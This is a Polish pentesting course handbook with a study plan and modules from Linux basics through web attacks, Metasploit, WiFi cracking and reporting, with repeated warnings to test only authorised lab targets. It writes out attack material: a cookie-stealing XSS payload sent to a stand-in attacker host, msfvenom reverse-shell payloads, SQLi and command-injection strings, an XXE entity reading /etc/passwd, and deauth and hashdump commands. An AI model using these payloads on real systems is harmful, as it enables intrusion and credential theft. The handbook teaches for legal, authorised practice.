Zanim odpalisz pierwszy skan
Podręcznik prowadzi przez 12 modułów — od fundamentu Linuksa do samodzielnego pentestu z raportem. Do tego dochodzi harmonogram nauki, zestaw cheatsheetów i tracker labów. Treść jest gęsta i praktyczna, pisana pod osobę, która nie boi się terminala.
Testujesz wyłącznie systemy, które są Twoje albo na które masz pisemną zgodę (scope). Skanowanie cudzej infrastruktury bez zgody to przestępstwo (art. 267 i 269b k.k.). Do nauki: własny homelab, celowo podatne maszyny (VulnHub, OWASP Juice Shop), izolowane laby (TryHackMe, HTB, PortSwigger). Nigdy „na produkcji", nigdy „bo ciekawość".
Metodyka — szkielet każdego testu
Niezależnie od celu, pentest ma ten sam rytm. Wraca w modułach 5, 10 i 11:
- Recon — zbieranie informacji (pasywny: OSINT, DNS; aktywny: skanowanie).
- Enumeracja — mapowanie usług, wersji, użytkowników, katalogów.
- Exploitacja — uzyskanie dostępu przez konkretną podatność.
- Post-exploitation — privilege escalation, persystencja, pivoting.
- Raport — findings, PoC, wpływ (CVSS), rekomendacje. To za to płacą.
Standardy do znajomości z nazwy: PTES, OSSTMM, OWASP WSTG (web), MITRE ATT&CK (mapa technik).
Środowisko
- Kali Linux lub BlackArch jako maszyna atakująca (VM w VirtualBox/VMware/Proxmox).
- Cele podatne na osobnej, odizolowanej sieci (host-only / internal) — żeby nic nie wyciekło do LAN-u.
- Snapshoty VM przed każdym eksperymentem — cofniesz się w sekundę.
- Notatki od dnia pierwszego (Obsidian / CherryTree / markdown). Write-upy = nauka + portfolio.
Plan nauki i harmonogram
Realistyczny rozkład obok pracy na etacie: ~5 miesięcy przy 8–10 h/tydzień. Priorytet źródeł: darmowe. Kolejność zgodna z 12 modułami, z akceleracją tam, gdzie masz już fundament.
Fazy
| Faza | Moduły | Czas | Nacisk |
|---|---|---|---|
| 1 | 01–02 · Linux | 1–2 tyg. | Refresh — szybko przez Bandit |
| 2 | 03–04 · Sieci/protokoły | 2–3 tyg. | Domknięcie nmap, iptables, ręczne protokoły |
| 3 | 05–06 · Black Box I + CTF | 3 tyg. | Pierwsze pełne łańcuchy na VulnHub |
| 4 | 07 · Krypto | 2 tyg. | Crypto101 + CryptoHack |
| 5 | 08–09 · Web | 4–5 tyg. | Największy blok — PortSwigger na maksa |
| 6 | 10 · Metasploit + WiFi | 3 tyg. | Msf Unleashed + lab WiFi |
| 7 | 11–12 · Black Box II + finał | 3 tyg. | Pełny pentest z raportem + publiczny CTF |
Rytm tygodnia
- ~60% praktyka — laby, maszyny, PortSwigger (to buduje umiejętność).
- ~30% teoria — książki, wideo, dokumentacja.
- ~10% notatki — write-upy z tego, co przerobiłeś (portfolio!).
Nie „uczę się bezpieczeństwa" tylko „dziś zamykam 3 laby SQLi" albo „dziś roota na tej maszynie z VulnHub". Cel mierzalny per sesja. Checklista labów (sekcja Praktyka) jest do tego.
Kiedy warto dołożyć grosz (opcjonalnie)
- TryHackMe Premium (~$10–14/mies.) na 1–2 miesiące pod moduły 5 i 10 — prowadzone ścieżki oszczędzają czas.
- Sekurak — książka „Bezpieczeństwo aplikacji webowych" (PL) jako trwała referencja do modułów 8–9–11.
Co dalej — potwierdzenie kompetencji
- TryHackMe PT1 — praktyczny cert po ścieżce Jr Pentester.
- PNPT (TCM Security) — świetny stosunek jakości do ceny, realny egzamin z raportem.
- OSCP (OffSec) — branżowy standard, 24h praktyki.
- Portfolio write-upów (GitHub / didiel.com) — w offensive liczy się często bardziej niż papier.
Podstawy systemu Linux
90% pracy pentestera dzieje się w powłoce. Zanim złamiesz cokolwiek, musisz swobodnie poruszać się po systemie plików, żonglować danymi w potokach i czytać logi. Ten moduł to Twój fundament.
Nawigacja i pliki
# gdzie jestem, co tu jest, co w środku
$ pwd ; ls -la # -l długi format, -a pliki ukryte
$ cd /var/log
$ cat plik.txt # cały plik
$ less plik.txt # stronicowanie (q = wyjście)
$ head -n 20 plik # pierwsze 20 linii
$ tail -f auth.log # śledzenie na żywo
$ find / -name "*.conf" -type f 2>/dev/nullUprawnienia — rwx
Każdy plik ma właściciela, grupę i tryb rwxr-xr-x. Dla pentestera kluczowe są bity SUID/SGID — plik uruchamiany z uprawnieniami właściciela, częsty wektor privilege escalation (moduł 05).
$ chmod 750 skrypt.sh # rwx r-x --- (u=7,g=5,o=0)
$ chown user:grupa plik
$ find / -perm -4000 -type f 2>/dev/null # SUID — złoto przy privescPotoki, przekierowania, filtrowanie
$ cat access.log | grep "404" | wc -l
$ cut -d: -f1 /etc/passwd | sort | uniq # lista userów
$ awk '{print $1}' access.log | sort | uniq -c | sort -rn # top IP
$ sed 's/foo/bar/g' plik
$ polecenie > out.txt 2> err.txt < in.txt
$ polecenie > all.txt 2>&1 # stdout+stderr razemIdentyfikacja i kodowanie danych
$ echo -n "haslo" | base64 # aGFzbG8=
$ echo "aGFzbG8=" | base64 -d
$ echo -n "abc" | xxd # podgląd hex
$ echo "tekst" | tr 'A-Za-z' 'N-ZA-Mn-za-m' # ROT13
$ md5sum plik ; sha256sum plik
$ file zdjecie # typ po nagłówku (magic bytes)CyberChef (gchq.github.io/CyberChef) — graficzny „szwajcarski scyzoryk" do kodowania/dekodowania. W CTF-ach crypto/misc to pierwszy odruch.
Usługi i logi
$ systemctl status ssh
$ systemctl start|stop|enable nginx
$ journalctl -u ssh -n 50 --no-pager
$ ls /var/log/ # auth.log, syslog, apache2/…2>/dev/nullucina błędy przy skanowaniu całego/.findto Twój najlepszy przyjaciel przy recon-ie systemu.- SUID (
-perm -4000) = potencjalny privesc. - Rozpoznawanie base64/hex/ROT to must-have.
Źródła
find / -perm -4000 -type f 2>/dev/null — bit 4000 to SUID, 2>/dev/null ucina „Permission denied".
awk '{print $1}' access.log | sort | uniq -c | sort -rn | head
aGVsbG8=. Co to i jak zdekodujesz?[+]Base64 (padding =). echo "aGVsbG8=" | base64 -d → hello.
Administracja i skrypty Bash
Przechodzisz od „użytkownika" do „operatora". Procesy, systemd, cron, a przede wszystkim Bash — automatyzacja recon-u i wyrywanie się z ograniczonych powłok to codzienność.
Procesy
$ ps aux | grep nginx # procesy + kto uruchomił
$ top / htop # monitor na żywo
$ kill -9 1337 # ubij PID
$ skrypt.sh & ; nohup skrypt.sh & # w tle / przeżyje wylogowanie
$ jobs ; fg %1Użytkownicy, cron, systemd
$ id ; whoami ; sudo -l # kim jestem, co mogę
$ cat /etc/passwd /etc/group
$ crontab -l ; cat /etc/crontab # zaplanowane zadania (privesc!)
$ systemctl list-units --type=servicesudo -l i crontab to dwa pierwsze odruchy po wejściu na system — pokazują drogę do roota.
Bash — od zera do skryptu recon
#!/bin/bash
# ping-sweep po podsieci /24
net="192.168.1"
for i in $(seq 1 254); do
ip="$net.$i"
if ping -c1 -W1 "$ip" &>/dev/null; then
echo "[+] $ip UP"
fi
done- Shebang
#!/bin/bash, uprawnieniechmod +x. - Zmienne
x=5(bez spacji!), użycie"$x"w cudzysłowie. - Argumenty:
$1 $2 … $@(wszystkie),$#(liczba). - Warunki
if [[ … ]]; then … fi, pętlefor/while. - Podstawienie komendy
$(polecenie).
Wyjście z restricted shell + analiza plików
„Obejście prostych mechanizmów blokowania użytkownika" to najczęściej ucieczka z ograniczonej powłoki (rbash) albo z paginatora. Kanoniczne źródło: GTFOBins.
# klasyczne ucieczki do pełnej powłoki
:!/bin/sh # z vi/vim
!/bin/sh # z less/more (podczas przeglądania)
$ awk 'BEGIN{system("/bin/sh")}'
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
# analiza plików danych
$ strings plik.bin | less ; xxd plik | head ; file plikŹródła
sudo -l (co mogę jako root) oraz crontab -l / cat /etc/crontab (zadania z wyższymi uprawnieniami).
less i chcesz shell. Jak?[+]Podczas przeglądania: !/bin/sh. To samo z vi: :!/bin/sh. Katalog sztuczek: GTFOBins.
Sieci, nmap i iptables
Nie zaatakujesz tego, czego nie widzisz. Model TCP/IP w praktyce, świadome skanowanie nmap-em (nie klepanie flag z pamięci) i kontrola ruchu przez iptables.
TCP vs UDP
- TCP — połączeniowy, handshake
SYN → SYN-ACK → ACK. Niezawodny. Stąd skan SYN. - UDP — bezpołączeniowy, „strzel i zapomnij". Szybszy, ale skanowanie trudniejsze. DNS, SNMP, DHCP.
- Porty: 0–1023 well-known (pełna ściąga w cheatsheecie „Porty i usługi").
Skan -sS (SYN / „half-open") wysyła SYN, dostaje SYN-ACK, ale zamiast ACK odsyła RST — nie kończy połączenia, więc jest cichszy i szybszy niż pełny -sT.
nmap — od odkrycia hostów do wersji usług
# 1. kto żyje w podsieci
$ nmap -sn 192.168.1.0/24
# 2. SYN scan wszystkich portów
$ nmap -sS -p- 10.10.10.5
# 3. wersje usług + skrypty (identyfikacja oprogramowania)
$ nmap -sV -sC -p 22,80,443 10.10.10.5
# 4. agresywny (OS, wersje, skrypty, traceroute)
$ nmap -A -T4 10.10.10.5
# 5. UDP (wolne — wybieraj porty)
$ nmap -sU --top-ports 20 10.10.10.5
# 6. zapis wyników
$ nmap -sV -oN scan.txt -oX scan.xml 10.10.10.5Pełna tabela flag i przydatnych skryptów NSE — w cheatsheecie „Nmap".
iptables — kontrola przepływu
Trzy łańcuchy w tabeli filter: INPUT (do hosta), OUTPUT (od hosta), FORWARD (przez host). Reguły po kolei — pierwsza pasująca decyduje.
$ iptables -L -n -v
$ iptables -A INPUT -p tcp --dport 22 -j ACCEPT
$ iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
$ iptables -P INPUT DROP # polityka domyślna: blokujŹródła
man iptables.-sS od -sT?[+]-sT kończy pełny handshake (aplikacja loguje połączenie). -sS po SYN-ACK odsyła RST — nie kończy połączenia, rzadziej w logach, szybszy. Wymaga roota.
nmap -sV -sC -p 8080 <ip> — -sV service/version detection, -sC skrypty rozpoznające.
Protokoły sieciowe
Każda usługa „mówi" jakimś protokołem. Kto rozumie protokół, widzi, gdzie leży słabość. HTTP, DNS, poczta i bezpieczna komunikacja — z naciskiem na ręczne rozmawianie z usługą przez netcat.
HTTP
# ręczny request HTTP przez netcat
$ nc example.com 80
GET / HTTP/1.1
Host: example.com
HTTP/1.1 200 OK
Server: nginx- Metody:
GET POST PUT DELETE OPTIONS HEAD. - Statusy: 2xx OK · 3xx redirect · 4xx błąd klienta · 5xx serwera.
- Nagłówki:
Cookie,Authorization,User-Agent,Referer, security headers. - Sesja zwykle w ciasteczku (
Set-Cookie).
DNS
$ dig example.com A ; dig example.com MX ; dig example.com TXT NS
$ dig axfr @ns1.target.com target.com # próba transferu strefy!Rekordy: A/AAAA (adres), MX (poczta), NS (serwery nazw), CNAME (alias), TXT (SPF/DKIM). Źle skonfigurowany AXFR = wyciek całej mapy domeny.
Poczta i egzotyka — bannery przez nc
SMTP (25/587), IMAP (143), POP3 (110) rozmawiają tekstowo — świetne do banner grabbing i enumeracji userów. CUPS (631) i Gopher pojawiają się głównie w kontekście SSRF (moduł 9).
$ nc mail.target.com 25
220 mail.target.com ESMTP
HELO test
VRFY admin # czy user istnieje (jeśli włączone)Bezpieczna komunikacja: SSH, TLS, HTTPS
- SSH — szyfrowany zdalny dostęp; hasło lub klucz (preferuj klucze).
- TLS — warstwa szyfrująca pod HTTPS/SMTPS/IMAPS; handshake ustala klucz sesji (moduł 7).
- HTTPS = HTTP w tunelu TLS; certyfikat wiąże tożsamość z kluczem publicznym (PKI).
$ openssl s_client -connect example.com:443 # podejrzyj cert/TLS
$ ssh -v user@host # verbose = widać negocjacjędig po wszystkich rekordach własnej domeny.Źródła
dig axfr i czemu to problem?[+]Serwer pozwala na transfer całej strefy dowolnemu klientowi — wyciekają wszystkie subdomeny/rekordy (mapa infrastruktury). Powinien być ograniczony do autoryzowanych serwerów.
HTTPS opakowuje HTTP w TLS: handshake ustala klucz sesji (asymetryka do wymiany, symetryka do transmisji), certyfikat X.509 potwierdza tożsamość serwera. Treść szyfrowana i chroniona przed modyfikacją.
Testy Black Box I
Pierwszy pełny łańcuch: dostajesz IP i nic więcej. Recon → enumeracja → wejście → privilege escalation. Fundamenty (1–4) zamieniają się w realny atak na maszynę.
Recon: pasywny vs aktywny
- Pasywny — bez dotykania celu: OSINT, DNS, whois, crt.sh, Shodan.
- Aktywny — skanowanie i enumeracja (nmap z modułu 3, banner grabbing).
Enumeracja usług
Najważniejszy i najczęściej niedoceniany etap. Zasada: „enumerate, then enumerate again".
# SMB (445)
$ enum4linux -a 10.10.10.5
$ smbclient -L //10.10.10.5/ -N
$ crackmapexec smb 10.10.10.5
# FTP (21) — sprawdź anonymous
$ ftp 10.10.10.5 # login: anonymous
# web — katalogi i pliki
$ ffuf -u http://10.10.10.5/FUZZ -w wordlist.txt
$ gobuster dir -u http://10.10.10.5 -w common.txt -x php,txt
$ nikto -h http://10.10.10.5 ; whatweb http://10.10.10.5Privilege escalation
Po wejściu jako nieuprzywilejowany user — droga do roota/SYSTEM. Automaty przyspieszają, ale musisz rozumieć wektory (pełna ściąga: cheatsheet „Privilege escalation").
sudo -l— komendy dozwolone bez hasła (+ GTFOBins).- Binarki SUID — nadużycie przez GTFOBins.
- Zadania cron z zapisywalnym skryptem.
- Błędne uprawnienia (zapisywalny
/etc/passwd, klucze SSH). - Capabilities (
getcap -r / 2>/dev/null), podatne jądro.
$ ./linpeas.sh # Linux — automat enumeracji privesc
$ ./pspy64 # podglądaj procesy/cron bez roota
$ .\winPEASx64.exe # WindowsŹródła
Exploit działa tylko gdy wiesz co i w jakiej wersji atakujesz. Większość „utknięć" to pominięty port/katalog/share, nie brak exploita. Najpierw pełny obraz celu.
sudo -l pokazuje, że możesz uruchomić find jako root. Jak to wykorzystasz?[+]sudo find . -exec /bin/sh \; -quit — find uruchamia shell z uprawnieniami roota. Składnia dla dowolnej binarki: GTFOBins.
CTF I — dzień warsztatowy
Capture The Flag to poligon: samodzielne, zamknięte zagadki z jasnym rozwiązaniem. Utrwala wszystko z modułów 1–5 i wyrabia „nos" na podatności. Wartością nie jest flaga, tylko technika, która Ci zostaje.
Kategorie CTF
- General Skills — Linux, powłoka, skrypty (fundament).
- Web — SQLi, XSS, logika aplikacji (moduły 8–9).
- Crypto — szyfry, encoding, ataki (moduł 7).
- Forensics — analiza plików, pamięci, pcap, steganografia.
- Reverse / Pwn — inżynieria wsteczna i exploitacja binariów.
- OSINT / Misc — rekonesans, łamigłówki.
Zestaw narzędzi CTF-owca
$ strings plik | grep -i flag # szybki strzał
$ binwalk -e plik # ukryte pliki w pliku
$ exiftool zdjecie.jpg # metadane
$ steghide extract -sf obraz.jpg # steganografia
$ zsteg obraz.png ; pngcheck obraz.png
# + CyberChef w przeglądarce do encoding/cryptoZawsze od najprostszego: file, strings, przeczytaj tytuł/opis zadania (często to podpowiedź). Write-upy dopiero po realnej próbie — inaczej uczysz się rozwiązań, nie myślenia.
Źródła
Kryptografia stosowana
Nie musisz projektować szyfrów — musisz rozumieć, gdzie i jak się je psuje. Hasze, kryptografia symetryczna i asymetryczna: trzy filary bezpiecznej (i niebezpiecznej) komunikacji.
Funkcje haszujące
Hash to jednokierunkowy „odcisk" danych: deterministyczny, jednokierunkowy, odporny na kolizje. Hash to nie szyfrowanie — nie da się go „odszyfrować", tylko zgadnąć wejście.
MD5,SHA-1— przestarzałe (kolizje), wciąż spotykane.SHA-256— standard integralności.- Salt — losowy dodatek przed hashowaniem (niweluje rainbow tables).
bcrypt,argon2— celowo wolne, do haseł.
$ hashid '$2b$...' ; hash-identifier # rozpoznaj typ
$ hashcat -m 0 hash.txt rockyou.txt # -m 0 = MD5
$ john --wordlist=rockyou.txt hash.txtTabela trybów -m (hashcat) i formatów John — cheatsheet „Hashcat / John".
Kryptografia symetryczna
Ten sam klucz szyfruje i deszyfruje (np. AES). Szybka — do właściwej transmisji. Diabeł w trybie działania:
- ECB — każdy blok osobno → identyczne bloki dają identyczny szyfrogram („ECB penguin"). Nie używać.
- CBC — bloki łańcuchowane z IV. Podatny na padding oracle przy błędach.
- GCM — uwierzytelnione szyfrowanie (poufność + integralność). Preferowany.
Kryptografia asymetryczna
Para kluczy: publiczny (szyfruje / weryfikuje podpis) i prywatny (deszyfruje / podpisuje). Rozwiązuje problem wymiany kluczy. Podstawa: RSA, wymiana Diffie-Hellman, podpisy, PKI i certyfikaty.
TLS łączy oba światy: asymetryka służy do bezpiecznej wymiany losowego klucza sesji, a całą transmisję szyfruje szybka symetryka. Certyfikat potwierdza, że klucz publiczny należy do właściwego serwera.
Źródła
Hash jest jednokierunkowy — nie zawiera odwracalnej informacji o wejściu. Nie „odszyfrowujesz", tylko zgadujesz wejście (bruteforce/słownik) i porównujesz hashe. Dlatego salt i wolne funkcje utrudniają łamanie.
Szyfruje każdy blok niezależnie tym samym kluczem — identyczne bloki tekstu jawnego dają identyczne bloki szyfrogramu, więc wzorce „prześwitują" (pingwin). CBC/GCM tego nie mają dzięki IV/łańcuchowaniu.
Bezpieczeństwo WWW — podstawy
Największy i najbardziej „zatrudnialny" blok. Aplikacje webowe to gros realnych pentestów. Tu poznajesz Burp Suite, uwierzytelnianie, kontrolę dostępu i królową podatności — SQL Injection — krok po kroku.
Jak myśleć o aplikacji WWW
Klient (przeglądarka) ↔ serwer. Wszystko, co przychodzi od klienta — parametry, nagłówki, ciasteczka — jest niezaufane i modyfikowalne. Tu leży cała gra. Punkt odniesienia: OWASP Top 10.
Proxy (przechwytuje ruch), Repeater (ręczne modyfikowanie i powtarzanie requestów), Intruder (fuzzing/bruteforce, wolny w Community), Decoder/Comparer. Community Edition wystarcza do całej nauki na PortSwigger Academy. Ustaw przeglądarkę na proxy 127.0.0.1:8080 i zainstaluj certyfikat Burpa.
Setup Burpa w 4 krokach
# 1. Proxy > Options: listener na 127.0.0.1:8080
# 2. Przeglądarka (użyj wbudowanej: Proxy > Intercept > Open Browser)
# 3. Certyfikat: http://burp > CA Certificate > zaimportuj
# 4. Intercept OFF na start, cały ruch leci do HTTP history
prawy klik na request > Send to Repeater (Ctrl+R)Uwierzytelnianie użytkownika
- Brute-force / credential stuffing przy braku rate-limitingu.
- Enumeracja userów przez różne komunikaty błędów lub czas odpowiedzi.
- Słabe / przewidywalne tokeny sesji, brak rotacji po logowaniu.
- Obejście 2FA, błędna logika resetu hasła (host header, token w URL).
Kontrola dostępu — IDOR
Najczęstszy realny błąd: IDOR (Insecure Direct Object Reference) — zmieniasz id=123 na id=124 i widzisz cudze dane. Do tego privilege escalation (horizontal = inny user, vertical = wyższa rola) i forced browsing (ukryte panele po zgadnięciu URL).
# w Burp Repeater podmieniasz id
GET /api/invoice?id=1024 HTTP/1.1 # moja faktura
GET /api/invoice?id=1025 HTTP/1.1 # czyjaś? → jeśli 200 = IDOR
# vertical: dostęp do panelu admina jako zwykły user
GET /admin/deleteUser?id=5 HTTP/1.1SQL Injection — walkthrough
Wstrzyknięcie SQL przez niewalidowane wejście. Przejdźmy pełen cykl: wykrycie → określenie liczby kolumn → UNION → ekstrakcja danych.
Krok 1 — wykrycie
# wstaw pojedynczy apostrof — błąd = potencjalna podatność
?id=1'
# logika boolean: różnica w odpowiedzi = injectable
?id=1' AND 1=1-- # działa normalnie
?id=1' AND 1=2-- # pusto / inaczejKrok 2 — liczba kolumn
# zwiększaj aż poleci błąd — ostatnia działająca = liczba kolumn
?id=1' ORDER BY 1--
?id=1' ORDER BY 2--
?id=1' ORDER BY 3-- # błąd na 4 = są 3 kolumny
# alternatywnie: UNION SELECT NULL,NULL,NULL--Krok 3 — UNION i ekstrakcja
# znajdź kolumnę wyświetlającą tekst
?id=1' UNION SELECT 'a',NULL,NULL--
# wyciągnij wersję i dane
?id=1' UNION SELECT @@version,NULL,NULL--
?id=1' UNION SELECT username,password,NULL FROM users--Gdy dane nie wracają w odpowiedzi: boolean-based (wnioskujesz po prawda/fałsz) albo time-based (' OR SLEEP(5)-- — opóźnienie = prawda). Ekstrakcja znak po znaku przez SUBSTRING. Pełne payloady per baza: cheatsheet „SQL Injection".
Automat (ostrożnie, tylko w scope)
$ sqlmap -u "http://cel/item?id=1" --batch --dbs
$ sqlmap -r request.txt --dump -D app -T users # z zapisanego requestu BurpaPrawidłowe zabezpieczenie SQLi to prepared statements / parametryzowane zapytania, nie „filtrowanie apostrofów". W raporcie zawsze podajesz konkretną rekomendację, nie samo „jest podatność".
Źródła
' AND 1=1-- działa, a ' AND 1=2-- nie. Typ SQLi?[+]Blind boolean-based — wnioskujesz po tym, czy odpowiedź się zmienia (prawda/fałsz). Ekstrakcja znak po znaku przez SUBSTRING + warunek.
ORDER BY N przy SQLi?[+]Do ustalenia liczby kolumn w zapytaniu — zwiększasz N aż pojawi się błąd. To warunek konieczny do zbudowania działającego UNION SELECT (musi mieć tę samą liczbę kolumn).
account_id i widzisz cudze konto. Nazwa i klasa?[+]IDOR — klasa: broken access control (OWASP). Aplikacja ufa parametrowi bez sprawdzenia, czy user ma prawo do obiektu.
Zaawansowane ataki na WWW
Wyżej poziom: XSS, dane z niezaufanego źródła (SSRF, XXE, injection), złożone formaty (deserializacja, JWT) i błędy konfiguracji. Tu uczysz się łączyć podatności w realny impact.
Cross-Site Scripting (XSS)
Wstrzyknięcie kodu JS wykonywanego w przeglądarce ofiary. Trzy typy:
- Reflected — payload w URL/parametrze, odbity w odpowiedzi (wymaga kliknięcia linku).
- Stored — zapisany na serwerze (komentarz, profil), uderza w każdego odwiedzającego. Najgroźniejszy.
- DOM-based — podatność w JS po stronie klienta, bez udziału serwera.
Progresja payloadów (od testu do impaktu)
# 1. test — czy wykonuje się JS
<script>alert(1)</script>
# 2. gdy <script> filtrowany — event handlery
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
# 3. wyjście z atrybutu
"><script>alert(1)</script>
' onmouseover='alert(1)
# 4. impact — kradzież ciasteczka sesji
<script>fetch('https://ATAKUJACY/c='+document.cookie)</script>Impact: przejęcie sesji, keylogger, akcje w imieniu ofiary. Obrona: kontekstowe escapowanie + CSP. Filtry/WAF często da się obejść (kodowanie, wielkość liter) — pełna ściąga w cheatsheecie „XSS".
Dane z niezaufanego źródła
- SSRF — zmuszasz serwer, by wykonał request tam, gdzie chcesz (np. metadata cloud
169.254.169.254). Tu wracają Gopher/CUPS z modułu 4. - XXE — nadużycie parsera XML do czytania plików / SSRF.
- Path traversal —
../../etc/passwd. - Command injection — wstrzyknięcie komendy (
; id,| whoami,$(id)). - File upload — wgranie web-shella zamiast obrazka.
# SSRF — wskaż serwerowi wewnętrzny zasób
url=http://169.254.169.254/latest/meta-data/
# XXE — czytanie pliku przez encję zewnętrzną
<!DOCTYPE x [<!ENTITY e SYSTEM "file:///etc/passwd">]><x>&e;</x>
# command injection — sprawdź wykonanie polecenia
127.0.0.1; id
127.0.0.1 | whoami
# path traversal
?file=../../../../etc/passwdPrzetwarzanie złożonych danych
- Deserializacja niezaufanych obiektów → RCE (Java/PHP/Python).
- Ataki na JWT —
alg:none, słaby sekret HMAC (do złamania), pomieszanie algorytmów. - Prototype pollution (JS) — nadpisanie właściwości bazowych obiektów.
# złam słaby sekret HMAC (tryb 16500), potem podpisz własny token
$ hashcat -m 16500 jwt.txt rockyou.txt
# narzędzie do manipulacji/łamania JWT
$ python3 jwt_tool.py <token> -C -d rockyou.txtBłędy konfiguracji
Nudne, ale skuteczne: domyślne dane logowania, verbose error pages (stack trace), odsłonięte panele admina, źle ustawiony CORS, brak security headers, otwarte katalogi, backupy .git/.env.
Źródła
Reflected wymaga, by ofiara kliknęła spreparowany link. Stored jest zapisany na serwerze i wykonuje się u każdego odwiedzającego — bez żadnej akcji z ich strony. Większy zasięg, brak inżynierii społecznej.
alg: HS256 i słabym sekretem. Wektor?[+]Bruteforce sekretu HMAC (hashcat -m 16500) słownikiem. Po złamaniu podpisujesz własny token z role: admin. Osobny wektor: serwer akceptujący alg: none.
SSRF. Najgroźniejszy cel to zasoby wewnętrzne niedostępne z zewnątrz — endpointy metadata chmury (169.254.169.254), panele admina na localhost, usługi w sieci wewnętrznej.
Metasploit i bezpieczeństwo WiFi
Framework automatyzujący pełen cykl ataku plus atak na sieci bezprzewodowe. Metasploit to nie „magiczny przycisk" — to uporządkowany warsztat, który musisz rozumieć.
Architektura Metasploit
- exploit — kod wykorzystujący konkretną podatność.
- payload — co uruchamiasz po wejściu (meterpreter, reverse shell).
- auxiliary — skanery, fuzzery, recon (bez exploitacji).
- post — działania po włamaniu (hashdump, enum).
- encoder — obfuskacja payloadu (omijanie AV).
Pełen workflow — od recon do meterpreter
# recon przez moduł auxiliary
msf> use auxiliary/scanner/smb/smb_version
msf> set RHOSTS 10.10.10.0/24 ; run
# znajdź i użyj exploita
msf> search type:exploit vsftpd
msf> use exploit/unix/ftp/vsftpd_234_backdoor
msf> show options
msf> set RHOSTS 10.10.10.5
msf> set LHOST 10.10.14.2
msf> set PAYLOAD linux/x86/meterpreter/reverse_tcp
msf> run
# po wejściu — post-exploitation
meterpreter> getuid ; sysinfo
meterpreter> hashdump
meterpreter> migrate -N explorer.exe
meterpreter> run post/multi/recon/local_exploit_suggesterReverse shell — cel łączy się do Ciebie (omija firewall wejściowy). Bind — cel nasłuchuje, Ty się łączysz. Staged (/ w nazwie payloadu) — mały stager pobiera resztę; stageless (_) — całość od razu, stabilniejszy przy słabym łączu.
msfvenom — payloady poza frameworkiem
# Windows exe
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.2 LPORT=4444 -f exe -o s.exe
# Linux elf
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.2 LPORT=4444 -f elf -o s.elf
# web — PHP
$ msfvenom -p php/reverse_php LHOST=10.10.14.2 LPORT=4444 -f raw -o s.php
# nasłuch w msfconsole
msf> use multi/handler ; set PAYLOAD windows/meterpreter/reverse_tcp ; runBezpieczeństwo WiFi
Atak na WPA2 sprowadza się do przechwycenia 4-way handshake i złamania go offline słownikiem. Potrzebna karta z trybem monitor i injection.
$ airmon-ng start wlan0 # tryb monitor → wlan0mon
$ airodump-ng wlan0mon # znajdź BSSID/kanał
$ airodump-ng -c 6 --bssid AA:BB:.. -w cap wlan0mon
$ aireplay-ng --deauth 5 -a AA:BB:.. wlan0mon # wymuś handshake
$ aircrack-ng -w rockyou.txt cap*.cap # łamanie offline
# nowocześniej: PMKID bez klienta + hashcat -m 22000
$ hcxdumptool -i wlan0mon -o pmkid.pcapngDeauth i przechwytywanie handshake wykonujesz wyłącznie na własnym AP postawionym do nauki. Atak na cudzą sieć = przestępstwo.
Źródła
Reverse — cel inicjuje połączenie do Ciebie (wychodzące, zwykle dozwolone). Bind wymaga, żebyś to Ty połączył się do nasłuchującego portu na celu, co firewall wejściowy zablokuje.
Rozłącza klienta od AP, więc przy ponownym łączeniu następuje 4-way handshake, który przechwytujesz. Handshake łamiesz offline słownikiem — hasło nie leci „w powietrzu".
Testy Black Box II
Domknięcie: pełny pentest webowy jako black-box, łączenie podatności w łańcuch o realnym impakcie i — najważniejsze zawodowo — raport. To odróżnia hobbystę od pentestera.
Chaining — suma większa niż części
Pojedyncza podatność bywa niska. Połączona — krytyczna. Przykład łańcucha: information disclosure (wyciek e-maili) → brute-force słabego logowania → IDOR w panelu → RCE przez upload. Ucz się myśleć ścieżkami, nie pojedynczymi flagami.
Krypto w praktyce black-box
Wracają tematy z modułu 7 w kontekście aplikacji: encryption oracle (aplikacja szyfruje/deszyfruje Twoje dane i zdradza informacje), przewidywalne tokeny, słabe algorytmy, padding oracle. PortSwigger ma dedykowane laby.
Raport — produkt, za który płacą
- Executive summary — dla zarządu, bez żargonu, poziom ryzyka.
- Zakres i metodyka — co, kiedy, jak testowano.
- Findings — każdy z: opis, wpływ, CVSS, dowód (PoC + zrzuty), rekomendacja.
- Priorytetyzacja (Critical/High/Medium/Low) i podsumowanie remediacji.
Jeśli robiłeś już realny raport (np. z testu SQL Server), znasz format komercyjny. Dobra dokumentacja findingu to umiejętność rzadsza niż samo znajdowanie dziur.
Źródła
Wyciek daje listę ważnych loginów, brak rate-limitingu pozwala je bruteforce'ować. Połączone tworzą ścieżkę do przejęcia kont — w raporcie opisujesz je jako łańcuch o podwyższonym ryzyku.
Wpływ biznesowy, ocenę (CVSS/severity), odtwarzalny PoC (kroki + zrzuty) oraz konkretną rekomendację naprawy. Bez rekomendacji raport jest połowiczny.
CTF II — finał i co dalej
Test końcowy: trudniejsze kategorie, udział w publicznym CTF-ie i samodzielna maszyna „na czas". Plus mapa dalszego rozwoju.
Poziom wyżej
- Wejdź w Binary / Reverse / Forensics w picoGym — kategorie, które wcześniej omijałeś.
- Weź udział w realnym CTF-ie weekendowym z CTFtime — presja czasu uczy najszybciej.
- Kolejne wargame'y OverTheWire: Natas (web), Leviathan, Narnia.
Co dalej — mapa rozwoju
- Portfolio — publikuj write-upy (GitHub/blog). W offensive liczy się bardziej niż papier.
- Certy praktyczne — TryHackMe PT1 → PNPT → OSCP.
- Bug bounty — HackerOne / Bugcrowd. Realne cele w legalnym scope.
- Specjalizacja — web, AD/Windows, cloud, mobile, OT/ICS.
Pentesting to nie zbiór komend do zapamiętania, tylko sposób myślenia: „jak to można nadużyć?". Komendy się zmienią, myślenie zostaje. Ćwicz regularnie, dokumentuj wszystko, testuj tylko legalnie.
Źródła
Przeszedłeś od pwd do pełnego pentestu z raportem. Odhacz ostatni moduł, wróć do słabszych miejsc i zacznij budować portfolio. Access granted.
Atak na Active Directory
W realnych sieciach korporacyjnych 95% dróg do celu prowadzi przez Active Directory. To osobny świat: nie „jedna maszyna", tylko domena z relacjami zaufania, gdzie jeden słaby użytkownik = ścieżka do Domain Admina. Ten moduł to most między pentestem maszyn a realnym enterprise.
Model AD w pigułce
- Domain Controller (DC) — serce domeny; trzyma bazę AD (NTDS.dit) i Kerberos.
- Kerberos — protokół uwierzytelniania (bilety TGT/TGS). Główny wektor ataków.
